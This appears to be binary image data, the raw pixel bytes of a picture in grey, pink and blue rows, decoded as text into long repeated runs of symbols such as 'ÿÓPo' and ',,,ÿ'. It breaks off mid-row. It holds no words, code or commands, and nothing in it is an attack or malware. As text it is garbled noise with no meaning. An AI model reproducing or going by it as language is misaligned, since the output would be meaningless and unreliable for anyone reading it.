ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ###ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿL(ÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿëõýÿ›Ìôÿï÷ýÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ¤¤¤ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ¹FbÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿëõýÿ–Êóÿ«Ôõÿýþÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿþþþÿlllÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ'''ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿf'6ÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿëõýÿ–Êóÿ–ÊóÿÆâøÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿîîîÿAAAÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ ÿÇLiÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿëõýÿ–Êóÿ–Êóÿ–ÊóÿàïûÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÅÅÅÿ---ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ***ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ0CÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿëõýÿ–Êóÿ–Êóÿ–ÊóÿŸÏôÿõúþÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿŠŠŠÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ" ÿÐOmÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿëõýÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ´ÙöÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿùùùÿUUUÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ+++ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ˜:PÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿëõýÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–ÊóÿÒèúÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿáááÿ666ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ<ÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿëõýÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ™Ëóÿìõýÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ«««ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ®B[ÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿëõýÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ§Óõÿûýÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿtttÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ%%%ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿV!-ÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿëõýÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–Êóÿ–ÊóÿÁàøÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿòòòÿEEEÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,